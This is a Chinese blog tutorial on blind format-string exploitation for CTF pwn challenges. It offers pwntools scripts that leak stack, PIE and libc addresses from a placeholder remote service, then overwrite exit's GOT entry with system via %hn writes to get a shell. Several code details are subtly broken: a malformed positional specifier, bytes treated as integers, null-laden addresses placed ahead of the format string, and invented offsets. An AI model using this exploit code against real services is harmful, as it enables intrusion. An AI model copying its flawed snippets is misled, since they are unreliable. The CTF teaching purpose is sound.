news 2026/5/19 12:52:02

CTF盲打Pwn入门:手把手教你用格式化字符串漏洞‘摸黑’Dump程序(附Python脚本)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF盲打Pwn入门:手把手教你用格式化字符串漏洞‘摸黑’Dump程序(附Python脚本)

CTF盲打Pwn入门:格式化字符串漏洞的黑暗探索艺术

在CTF竞赛的Pwn领域中,最令人着迷的挑战莫过于"盲打"场景——就像在完全黑暗的房间中摸索出口,你手中没有任何二进制文件,仅凭一个远程连接端口,就要逐步揭开程序的内存秘密。这种技术不仅考验选手对底层原理的理解,更是一种将零散信息拼凑成完整攻击路径的艺术。本文将带你走进格式化字符串漏洞盲打的奇妙世界,从基础原理到实战技巧,手把手教你如何在没有二进制文件的情况下,像黑客侦探一样逐步"照亮"目标程序的内存布局。

1. 黑暗中的第一道光:理解格式化字符串漏洞

格式化字符串漏洞(Format String Vulnerability)是C语言程序中常见的安全问题,当程序使用printf等函数时,如果用户能够控制格式字符串参数,就可能引发信息泄露或内存改写。在盲打场景中,这个漏洞成为我们最重要的"探照灯"。

1.1 漏洞原理深度解析

考虑以下存在漏洞的代码片段:

void vulnerable_function() { char buffer[128]; read(0, buffer, sizeof(buffer)); printf(buffer); // 危险!用户可控制格式字符串 }

当用户输入包含格式说明符(如%x%p%s)的字符串时,printf会按照这些说明符从栈上读取数据并输出。关键在于,这些读取操作不受原始参数数量的限制,攻击者可以通过精心构造的格式字符串"越界"读取栈内存。

在盲打环境中,我们主要利用这个特性实现两个目标:

  • 内存信息泄露:通过%p%x等格式说明符读取栈内容
  • 内存地址定位:通过泄露的指针值推断关键内存区域的位置

1.2 盲打环境的特点与挑战

与传统Pwn相比,盲打场景面临几个独特挑战:

挑战类型具体表现应对策略
信息缺失无二进制文件、无函数符号依赖格式化字符串逐步泄露信息
环境随机化ASLR、PIE使地址不可预测通过泄露的指针计算基址
交互限制可能只有有限次数的漏洞触发需要高效的信息收集策略

提示:在真实CTF比赛中,盲打题目通常会提供有限的交互次数(如最多100次连接),因此需要精心设计每次交互获取的信息量。

2. 黑暗探索的第一步:栈内存测绘技术

2.1 基础泄露技术

让我们从一个简单的例子开始。假设我们连接到目标服务并发送以下payload:

from pwn import * conn = remote('ctf.example.com', 1234) conn.sendline(b'%p.'*20) # 连续泄露20个指针值 print(conn.recvline())

可能的输出看起来像:

0x7ffd3a4b5b80.0x7f812a3d4c20.(nil).0x7f812a1f6080.0x7ffd3a4b5c60.0x55a3b2e3a6a0.0x7ffd3a4b5b80.0x100000000.0x55a3b2e3a6d0.0x55a3b2e3a6a0...

这些看似随机的十六进制值实际上包含了宝贵的信息:

  • 栈地址:通常以0x7ff...开头(如0x7ffd3a4b5b80
  • libc地址:通常以0x7f...开头(如0x7f812a3d4c20
  • 代码段地址:在PIE启用时,通常以0x55...0x56...开头(如0x55a3b2e3a6a0

2.2 栈帧结构分析

理解栈帧结构对有效利用格式化字符串漏洞至关重要。典型的64位系统栈帧在调用printf时可能如下布局:

+---------------------+ | 返回地址 | <- 8字节 +---------------------+ | 调用者的栈帧指针 | <- 8字节 +---------------------+ | 局部变量 | | (如buffer) | +---------------------+ | 格式字符串参数 | <- 我们的输入位置 +---------------------+ | 其他寄存器保存区域 | +---------------------+

通过%n$p语法(其中n是参数位置),我们可以精确访问栈上特定偏移处的值。例如:

# 测试不同位置的参数 for i in range(1, 30): conn.sendline(f'%{i}$p'.encode()) print(f"{i}: {conn.recvline().decode().strip()}")

这个技术帮助我们建立栈内存的"地图",识别哪些位置包含有用的指针。

3. 照亮关键区域:定位.text段与GOT表

3.1 识别代码段基址

在PIE(Position Independent Executable)启用的情况下,代码段的基址每次运行都会变化,但相对偏移保持不变。通过格式化字符串泄露的代码指针,我们可以计算出基址:

# 假设通过%15$p泄露了一个代码指针:0x55a3b2e3a6a0 leaked_code_addr = 0x55a3b2e3a6a0 pie_base = leaked_code_addr - 0x6a0 # 减去已知的偏移量 print(f"PIE base: {hex(pie_base)}")

3.2 定位GOT表

全局偏移表(GOT)包含了对外部函数(如libc函数)的实际地址引用。定位GOT表是后续攻击的关键步骤。通过以下策略可以找到GOT表:

  1. 泄露多个代码指针,寻找指向printfread等函数的指针
  2. 分析指针值,识别libc地址范围
  3. 通过偏移计算找到GOT表位置

一个实用的Python代码片段:

def find_got_address(conn, offset): conn.sendline(f'%{offset}$p'.encode()) addr = int(conn.recvline().strip(), 16) if addr > 0x700000000000 and addr < 0x7ffffffff000: return addr # 可能是libc地址 return None

4. 自动化内存测绘:Python脚本实战

4.1 基础Dump脚本

下面是一个自动化内存泄露脚本的框架:

from pwn import * def setup_connection(): return remote('ctf.example.com', 1234) def leak_memory(conn, offset, count=1): conn.sendline(f'%{offset}${count}p'.encode()) return conn.recvline() def parse_leaked_data(data): try: return int(data.strip(), 16) except: return data def main(): conn = setup_connection() # 扫描栈上有用的指针 for i in range(1, 50): data = leak_memory(conn, i) value = parse_leaked_data(data) print(f"Offset {i}: {hex(value) if isinstance(value, int) else value}") if __name__ == "__main__": main()

4.2 高级内存重建技术

对于更复杂的场景,我们需要实现内存的连续dump和重建:

def dump_memory_range(conn, start_offset, end_offset): memory_map = {} for offset in range(start_offset, end_offset + 1): try: data = leak_memory(conn, offset) value = parse_leaked_data(data) memory_map[offset] = value print(f"Offset {offset}: {hex(value) if isinstance(value, int) else value}") except: print(f"Failed at offset {offset}") continue return memory_map

这个脚本可以系统地扫描栈内存,构建出完整的内存映射图,为后续分析提供基础。

5. 保护机制对抗策略

5.1 PIE开启时的应对方法

当程序启用PIE(位置无关可执行文件)时,所有代码地址都会随机化。我们的策略是:

  1. 泄露至少一个代码段指针
  2. 计算PIE基址:pie_base = leaked_addr - known_offset
  3. 基于基址重建所有关键函数地址
def calculate_pie_base(leaked_addr, known_offset): return leaked_addr - known_offset # 示例:已知泄露的地址是main+0x15 leaked_main = 0x55a3b2e3a6a0 pie_base = calculate_pie_base(leaked_main, 0x6a0) print(f"PIE base: {hex(pie_base)}") print(f"Main function: {hex(pie_base + 0x685)}") # 假设main偏移为0x685

5.2 ASLR环境下的libc定位

在ASLR(地址空间布局随机化)启用时,libc基址每次运行都会变化。定位libc的步骤:

  1. 通过格式化字符串泄露一个libc函数地址(如printf
  2. 根据libc版本确定该函数的固定偏移
  3. 计算libc基址:libc_base = leaked_printf - known_printf_offset
def find_libc_base(conn, got_offset): # 假设got_offset指向printf的GOT条目 printf_addr = leak_memory(conn, got_offset) # 根据已知libc版本,printf偏移可能是0x64e80 libc_base = printf_addr - 0x64e80 return libc_base

6. 实战案例:从零构建完整攻击链

让我们通过一个模拟案例整合前面学到的技术。假设我们面对一个具有以下特点的服务:

  • 存在格式化字符串漏洞
  • 启用PIE和ASLR
  • 没有提供二进制文件

6.1 信息收集阶段

conn = remote('ctf.example.com', 1234) # 初始栈扫描 for i in range(1, 30): data = leak_memory(conn, i) value = parse_leaked_data(data) print(f"{i}: {hex(value) if isinstance(value, int) else value}") # 假设发现以下关键信息: # 6: 0x55a3b2e3a6a0 (代码指针) # 12: 0x7f812a3d4c20 (libc指针) # 18: 0x55a3b2e3b040 (可能是GOT地址)

6.2 内存布局重建

pie_base = 0x55a3b2e3a6a0 - 0x6a0 libc_base = 0x7f812a3d4c20 - 0x3d4c20 # 假设知道这是printf的地址 print(f"PIE base: {hex(pie_base)}") print(f"Libc base: {hex(libc_base)}") # 计算关键函数地址 main_addr = pie_base + 0x685 system_addr = libc_base + 0x4f550 # libc中的system偏移

6.3 漏洞利用开发

有了这些信息后,我们可以设计利用链:

  1. 使用格式化字符串漏洞改写GOT表中的某个函数地址(如exit
  2. 将其改为system函数的地址
  3. 触发该函数调用,传入我们控制的参数
# 假设我们确定可以通过%n写入内存 # 找到exit的GOT地址:pie_base + 0x3008 exit_got = pie_base + 0x3008 # 分步写入system地址(64位地址需要分两次写入) payload = p64(exit_got) + p64(exit_got+2) payload += f"%{(system_addr & 0xffff)}x%18$hn".encode() payload += f"%{((system_addr >> 16) & 0xffff)}x%19$hn".encode() conn.sendline(payload) conn.interactive() # 获取shell

在实际CTF比赛中,这种从零开始的盲打过程既充满挑战又极具成就感。记得每次比赛后都要详细记录你的探索过程,这些笔记将成为你最宝贵的经验财富。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/19 12:52:02

FigmaCN:为中文设计师量身打造的无缝设计体验

FigmaCN&#xff1a;为中文设计师量身打造的无缝设计体验 【免费下载链接】figmaCN 中文 Figma 插件&#xff0c;设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 如果你是一位使用Figma进行设计工作的中文用户&#xff0c;是否曾经在英文界面…

作者头像 李华
网站建设 2026/5/19 12:41:11

接电话时显示公司名,企业号码认证如何破局信任危机?

陌生号码打过来&#xff0c;你会接吗&#xff1f; 现在的手机用户都很警惕。只要屏幕上跳出一串没有名字的纯数字&#xff0c;特别是那些外地的固话或者400开头、95开头的号码&#xff0c;大脑会自动开启防御模式。大拇指悬在红色挂断键上方&#xff0c;这已经成了肌肉记忆。这…

作者头像 李华
网站建设 2026/5/19 12:41:10

如何永久保存微信聊天记录?WeChatMsg完整备份指南让数据永不丢失

如何永久保存微信聊天记录&#xff1f;WeChatMsg完整备份指南让数据永不丢失 【免费下载链接】WeChatMsg 提取微信聊天记录&#xff0c;将其导出成HTML、Word、CSV文档永久保存&#xff0c;对聊天记录进行分析生成年度聊天报告 项目地址: https://gitcode.com/GitHub_Trendin…

作者头像 李华
网站建设 2026/5/19 12:40:34

RK3506星闪网关开发板:Linux边缘计算与新一代物联网通信实践

1. 项目概述&#xff1a;从“星闪”到“网关”&#xff0c;RK3506的定位与野心最近在嵌入式圈子里&#xff0c;RK3506这颗芯片搭配“星闪”技术做成的网关开发板&#xff0c;讨论热度不低。乍一看&#xff0c;这组合有点意思&#xff1a;瑞芯微的RK3506&#xff0c;定位是低功耗…

作者头像 李华